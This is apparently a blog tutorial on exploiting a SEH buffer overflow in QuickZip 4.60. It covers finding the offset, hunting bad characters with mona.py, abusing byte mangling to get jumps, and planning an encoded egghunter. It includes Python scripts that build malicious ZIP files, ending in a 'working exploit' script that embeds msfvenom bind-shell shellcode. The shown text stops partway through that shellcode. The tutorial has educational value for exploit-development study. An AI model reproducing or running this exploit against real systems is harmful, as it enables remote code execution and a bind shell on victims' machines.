When you begin your journey in exploitation, you start with simple buffer overflows, then you deal with SEH, play with egg hunters and so on. The process of exploitation is pretty straightforward in this journey- sending a pretty large cyclic pattern, figuring out the offset to EIP in order to control it, then passing the address to JMP ESP or POP POP RET or other gadgets which ultimately will execute our shellcode.

However, perhaps the most undervalued step in this journey would have been finding bad characters. And I understand why. Most of the time the bad characters situation is easily dealt with using an encoder. But what if the number of bad characters is greater than good ones? That’s when things get tricky. Suddenly this seemingly insignificant step becomes a huge pain and affects every other step of exploit development. QuickZip 4.60 was a similar kind of story that is discussed in detail by corelanc0d3r here, which is also I’m about to do. BUT, the method I’m about to use is slightly different (not claiming it to be better or worse, just different) than the one (actually two) discussed there. So, let’s get started.

Finding the offset

Before I begin, the environment I’m going to use will be a Windows Vista x86, the original article was written for Windows XP SP3 environment so you might notice some differences in the offsets and addresses.

The crash!

I will jump straight to the PoC code that I copied from the article in order to replicate the crash.

#!/usr/bin/env python
# QuickZip 4.60 - PoC to replicate crash
# Author: Prashant Kumar

filename="exploit.zip"

ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
              "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
              "\x00\x00\x00\x00\x00\x00\x00\x00"
              "\xe4\x0f"              # file size
              "\x00\x00\x00")

cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"                # file size
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00" # Size of central directory (bytes)
"\x02\x10\x00\x00" # Offset of start of central directory, relative to start of archive
"\x00\x00")

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff"
payload = payload + ".txt"

print("Size : " + str(len(payload)))
print("Creating new " + filename + " file")
f = open(filename, 'w')
f.write(ldf_header + payload + cdf_header + payload + eofcdf_header)
f.close()

This PoC will create an exploit.zip file which needs to be opened using QuickZip. Double-clicking on the filename will result in the crash.

Interestingly, the crash doesn’t look exploitable, there’s no cyclic pattern in EIP or SEH chain.

But if we pass the exception using Shift + F9, we can observe the SEH chain pops up with the pattern.

The offset

Alright. From the address 396A4138, we can deduce the offset of 296 bytes. Let’s confirm it first. We’ll modify the payload a bit:

payload = "A"*296 + "B"*4 + "C"*4 + "D"*(4064-296-8)

We’ll recreate the malicious ZIP file and get a crash like this which confirms our offsets.

Now comes the brutal part. Finding the bad characters. Mona.py from corelanc0d3r will help us a lot here. Since we are putting our payload in filename, we can do some guess work to predict some bad characters. Characters like / \ : should be in bad char list. But let me demonstrate a simple procedure which uses mona.py to ease out the process of finding bad characters.

Using mona.py to find bad chars

To find bad characters, we will send an array of all possible characters as part of the payload. Then we’ll use mona.py to compare the array with the memory.

Generating the array

To create the array, you can use !mona bytearray command. This will print the array in Immunity Debugger’s log, and also create files bytearray.txt and bytearray.bin. You can copy the array from the bytearray.txt file, the bytearray.bin file will be used in comparison later.

For a quick reference, these oneliners can also be used to generate the array:

Python
for i in range(0,256): print('\\x%02X' % i, end='')

Bash
for i in {0..255}; do printf "\\\x%02x" $i;done

We’ll modify our PoC code to generate the ZIP file with our bytearray. After modification, our code should look something like this:

#!/usr/bin/env python
# QuickZip 4.60 - Script to create ZIP file to find bad characters
# Author: Prashant Kumar

filename="exploit.zip"

ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
              "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
              "\x00\x00\x00\x00\x00\x00\x00\x00"
              "\xe4\x0f"              # file size
              "\x00\x00\x00")

cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"                # file size
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00" # Size of central directory (bytes)
"\x02\x10\x00\x00" # Offset of start of central directory, relative to start of archive
"\x00\x00")

series = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload = "A"*296 + "B"*4 + "C"*4 + series + "D"*(4064-296-8-len(series))
payload = payload + ".txt"

print("Size : " + str(len(payload)))
print("Creating new " + filename + " file")
f = open(filename, 'w')
f.write(ldf_header + payload + cdf_header + payload + eofcdf_header)
f.close()

Let’s hunt for bad chars!

We’ll run the generated ZIP through QuickZip and see what happens.

Right off we see that the \x00 is causing problems. Let’s recreate the ZIP after removing it and repeat the process.

Woah! What just happened? Looking at Immunity, we do see few registers pointing at our payload. Following it on dump shows some interesting things. \x0F, \x14, \x15 and \x2F are mangled and everything after \x3A is truncated. It makes sense though, \x3A is colon (:) character, a filename containing colon is expected to have everything after it truncated.

But visually identifying mangled characters is pain and it leaves a lot of room for errors. I mean, I missed \x14 and \x15 myself. That’s why we’d like an automated way to find these differences and mona will help us here. Just pass the following command to mona:

!mona compare -f bytearray.bin -a [address where array begins]

Here is the output of this command in above case:

We can see how beautifully mona helps us with the bad chars. We’ll repeat this process after removing bad chars. This time our payload is being treated as a folder instead of file:

And gives out an error on double clicking too:

If we closely look at the error message, we can figure out the error happened around \ character which also makes sense and explains why our payload was being treated as a folder. We’ll remove \ or \x5C from our array and try again. This time we’ll get a clean crash. A quick look at the comparison and WHAT A HORROR STORY WE HAVE!

Every character after \x80 is mangled! Not missing, it’s mangled! It’s different from the crash we had with \x3A, the contents got truncated after that character. Here every character is getting converted to something, every character after \x80 is bad! The final list of bad chars is:

\x00\x0F\x14\x15\x2F\x3A\x5C\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C
\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0
\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4
\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8
\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC
\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0
\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF

THE exploit development

Now that we have more than half of all characters as bad, let’s figure out how can we proceed further.

POP POP RET

The first step in SEH exploitation is to find a suitable POP POP RET address. Looking at the loaded modules, we can only find the QuickZip.exe itself without SafeSEH.

The base address of that module doesn’t look very promising though, we immediately face a pretty big challenge. All the addresses from this module will have a NULL byte at the beginning. But let’s ignore it for now and pick one that doesn’t have other bad characters. One such address is 0x00407A33. Let’s verify if this address is really working. We’ll modify our payload to something like this:

payload = "A"*296 + "B"*4 + "\x33\x7A\x40\x00" + "D"*(4064-296-8)

Recreate the ZIP. Open it with QuickZip. Double click on filename. And we have 0x00407A33 listed in SEH chain.

Let’s set a breakpoint at 0x00407A33 and verify POP POP RET too.

Perfect! Sad thing to notice here is that all our Ds are truncated.

Jump! Eh, how?

Now that we have a working POP POP RET, how do we jump? Our good old \xEB is among bad chars. Plus, we’ll have to perform a negative jump as everything after the address is truncated, the only place left for shellcode is the starting 296 bytes. And negative jump means using a value from \x80 to \xFF, all of them are bad chars.

We can resolve the JMP issue by using any of the conditional jumps. Instead of me explaining it, you can go to this article by corelanc0d3r, there’s a table at the bottom listing all the conditional jumps and their opcodes.

But what about the jump offset?

Are bad chars really that bad?

This is where my method starts to differ from method used by corelanc0d3r. We notice that almost every bad char is getting mangled to another character. The trick here is to leverage this conversion to un-bad the bad characters. Let’s look at the mangled bytearray again.

We can notice here that \x87 is getting mangled to \xE7. So, if we want \xE7 in our shellcode, we’d use \x87 instead and QuickZip will convert it to \xE7 for us. And wait a minute, we have \xEB among possibly-good chars too, we can use it instead, no need for conditional jumps!

Let’s test this theory and perform a negative jump. We will use \x89\xF6 which should give us \xEB\xF7 in memory, and it translates to JMP 0xF7 or ‘Jump back 7 characters’ (remember, offset is counted considering the length of JMP instruction itself). We’ll modify our payload to look something like:

payload  = "A"*(296-7) + "B"*7 + "\x89\xf6\x41\x41" # JMP 0xF7
payload += "\x33\x7A\x40\x00" + "D"*(4064-296-8)

Our JMP should take us at the beginning of Bs. Let’s see what happens.

Excellent! We can see we can our JMP instruction and the resulting jump here. Our theory is working properly and we’ll be using it extensively in future.

Using our theory, we can quickly eliminate many possibly-good chars from bad char list. Our list effectively becomes:

\x00\x0F\x14\x15\x2F\x3A\x5C\x80\x81\x82\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D
\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA4\xA7\xA8
\xA9\xAD\xAE\xB3\xB4\xB6\xB8\xB9\xBE\xC0\xC1\xC2\xC3\xC8\xCA\xCB\xCC\xCD\xCE\xCF
\xD0\xD2\xD3\xD4\xD5\xD7\xD8\xD9\xDA\xDB\xDD\xDE\xE3\xF0\xF5\xF8\xFD\xFE

Not as huge as before, but still a lot! At least enough to keep troubling us.

Executing some code now

So, we have a way to perform negative jumps now, but that still leaves us with only 296 bytes to execute our shellcode, that too without considering the jumps we’ll need. With the tight restrictions we have, standard shellcodes like bind or reverse shell would be very difficult to write. The encoders can help us, yes, but with so many bad chars, none of them would succeed. The best bet is using Alpha2 encoder. After using BufferRegister to get pure alphanumeric shellcode (more on it here), the size of the payload becomes 710 bytes!

When we face issues with size of payload, the thing that immediately pops in our mind is an egghunter (huge props to Skape)! Encoding the egg hunter, we see:

This looks much better. But the question is- where will we put the shellcode? It’s time to step back a bit and think, are the Ds really getting truncated? If the application is loading the ZIP, the whole, unaltered ZIP may be there somewhere in memory. Let’s find it out.

A quick search reveals the Ds indeed are there in memory. However, none of the registers are pointing to this address, nor it is there in stack. That’s OK, egghunter was small enough to fit at the beginning of payload, we can use that. With an egghunter in place, our payload would look something like this:

payload = "A"*n + egghunter + "JMP[egghunter]" + POPPOPRET + [Egg + Shellcode]

The final hurdle

While encoding our egghunter, we have to provide a BufferRegister otherwise the shellcode will contain bad chars. We provided a BufferRegister of EAX. That means the shellcode assumes it has address of itself stored in EAX register. How will we store the address of shellcode in EAX? This is where a CALL instruction would help us.

A CALL instruction pushes the next address in stack and jumps to the provided offset. We can then POP the address from stack into EAX. CALL instruction takes an offset of 4 bytes. If we have a positive offset the first 3 bytes would be \x00, not desirable. So, a negative offset makes sense since \xFF is not a bad char. We are looking at something like this:

pop-eax: POP EAX
         JMP [hunter]
         NOP
         ...
         ...
call:    CALL [pop-eax]
hunter:  PUSH EAX
         ...
         ...
nseh:    JMP [call]
         INC ECX
         INC ECX
seh:     [POP POP RET]

Time for some maths. A CALL instruction will take 5 bytes. Egghunter is 118 bytes. JMP instruction itself is 2 bytes. So, we need an offset of 125 bytes or 7D bytes. This translates to an offset of \x83. Good news is that \x83 is not a bad char.

Now, POP EAX takes 1 byte. JMP will take 2 bytes. So, any offset of 3 bytes or above will work. We have \xF7 available to us.

Building THE exploit

Final piece in the puzzle is our shellcode. We can encode the shellcode with same Alpha2 encoder. This time we will use EDI as BufferRegister, egghunter will already have the address stored in this register. You can use other encoders as well, since bad chars wouldn’t matter for shellcode. But you still need to consider \ / : as bad chars as these characters have special meaning for filenames.

Our final exploit should now look like:

#!/usr/bin/env python
# QuickZip 4.60 - Working exploit
# Author: Prashant Kumar

filename="exploit.zip"

ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
              "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
              "\x00\x00\x00\x00\x00\x00\x00\x00"
              "\xe4\x0f"              # file size
              "\x00\x00\x00")

cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"                # file size
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00" # Size of central directory (bytes)
"\x02\x10\x00\x00" # Offset of start of central directory, relative to start of archive
"\x00\x00")

# msfvenom -p windows/shell_bind_tcp -f python -v shellcode -e x86/alpha_mixed BufferRegister=EDI
shellcode  = "nopenope"
shellcode += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x49\x6c\x69\x78\x4f\x72\x33\x30"
shellcode += "\x43\x30\x65\x50\x51\x70\x4f\x79\x79\x75\x50\x31"
shellcode += "\x39\x50\x63\x54\x6c\x4b\x30\x50\x44\x70\x4e\x6b"
shellcode += "\x53\x62\x66\x6c\x4c\x4b\x72\x72\x37\x64\x6c\x4b"
shellcode += "\x64\x32\x54\x68\x34\x4f\x6e\x57\x33\x7a\x64\x66"
shellcode += "\x74\x71\x69\x6f\x6c\x6c\x55\x6c\x75\x31\x63\x4c"
shellcode += "\x63\x32\x74\x6c\x37\x50\x4b\x71\x7a\x6f\x64\x4d"
shellcode += "\x75\x51\x7a\x67\x48\x62\x38\x72\x31\x42\x71\x47"
shellcode += "\x6e\x6b\x61\x42\x76\x70\x4c\x4b\x32\x6a\x45\x6c"
shellcode += "\x4c\x4b\x42\x6c\x67\x61\x44\x38\x78\x63\x32\x68"
shellcode += "\x35\x51\x78\x51\x56\x31\x6c\x4b\x66\x39\x37\x50"
shellcode += "\x63\x31\x38\x53\x6c\x4b\x43\x79\x62\x38\x39\x73"
shellcode += "\x74\x7a\x57\x39\x6e\x6b\x66\x54\x6e\x6b\x63\x31"
shellcode += "\x59\x46\x74\x71\x6b\x4f\x6e\x4c\x39\x51\x78\x4f"
shellcode += "\x54\x4d\x66\x61\x59\x57\x37\x48\x4d\x30\x34\x35"
shellcode += "\x4c\x36\x55\x53\x61\x6d\x39\x68\x37\x4b\x51\x6d"
shellcode += "\x75\x74\x33\x45\x78\x64\x33\x68\x6c\x4b\x30\x58"
shellcode += "\x67\x54\x75\x51\x48\x53\x52\x46\x6e\x6b\x46\x6c"
shellcode += "\x30\x4b\x4c\x4b\x46\x38\x37\x6c\x66\x61\x4a\x73"
shellcode += "\x4e\x6b\x57\x74\x4c\x4b\x56\x61\x6a\x70\x6f\x79"
shellcode += "\x50\x44\x34\x64\x64\x64\x53\x6b\x33\x6b\x75\x31"
shellcode += "\x52\x79\x52\x7a\x62\x71\x39\x6f\x59\x70\x53\x6f"
shellcode += "\x71\x4f\x31\x4a\x4c\x4b\x65\x42\x38\x6b\x4c\x4d"
shellcode += "\x43\x6d\x35\x38\x35\x63\x54\x72\x73\x30\x33\x30"
shellcode += "\x45\x38\x52\x57\x71\x63\x56\x52\x73\x6f\x36\x34"
shellcode += "\x32\x48\x50\x4c\x34\x37\x47\x56\x35\x57\x4b\x4f"
shellcode += "\x78\x55\x78\x38\x6e\x70\x75\x51\x75\x50\x77\x70"
shellcode += "\x34\x69\x6f\x34\x50\x54\x70\x50\x50\x68\x36\x49"
shellcode += "\x4b\x30\x52\x4b\x57\x70\x59\x6f\x6b\x65\x71\x7a"
shellcode += "\x34\x48\x62\x79\x50\x50\x48\x62\x79\x6d\x33\x70"
shellcode += "\x52\x70\x43\x70\x46\x30\x52\x48\x49\x7a\x54\x4f"
shellcode += "\x49\x4f\x6d\x30\x79\x6f\x7a\x75\x7a\x37\x65\x38"
shellcode += "\x56\x62\x57\x70\x64\x51\x63\x6c\x4f\x79\x6a\x46"
shellcode += "\x53\x5a\x42\x30\x62\x76\x66\x37\x73\x58\x78\x42"
shellcode += "\x4b\x6b\x65\x67\x35\x37\x79\x6f\x39\x45\x30\x57"
shellcode += "\x35\x38\x38\x37\x49\x79\x30\x38\x69\x6f\x79\x6f"
shellcode += "\x6a\x75\x33\x67\x33\x58\x53\x44\x6a\x4c\x65\x6b"
shellcode += "\x4b\x51\x4b\x4f\x48\x55\x51\x47\x6a\x37\x45\x38"
shellcode += "\x50\x75\x52\x4e\x50\x4d\x43\x51\x79\x6f\x68\x55"
shellcode += "\x71\x78\x42\x43\x52\x4d\x51\x74\x57\x70\x4f\x79"
shellcode += "\x39\x73\x36\x37\x70\x57\x70\x57\x66\x51\x48\x76"
shellcode += "\x63\x5a\x65\x42\x70\x59\x73\x66\x48\x62\x49\x6d"
shellcode += "\x61\x76\x6a\x67\x71\x54\x77\x54\x47\x4c\x36\x61"
shellcode += "\x57\x71\x4c\x4d\x73\x74\x71\x34\x44\x50\x79\x56"
shellcode += "\x43\x30\x53\x74\x43\x64\x30\x50\x66\x36\x76\x36"
shellcode += "\x71\x46\x30\x46\x66\x36\x52\x6e\x31\x46\x43\x66"
shellcode += "\x51\x43\x46\x36\x32\x48\x33\x49\x7a\x6c\x35\x6f"
shellcode += "\x4d\x56\x59\x6f\x58\x55\x6d\x59\x4d\x30\x30\x4e"
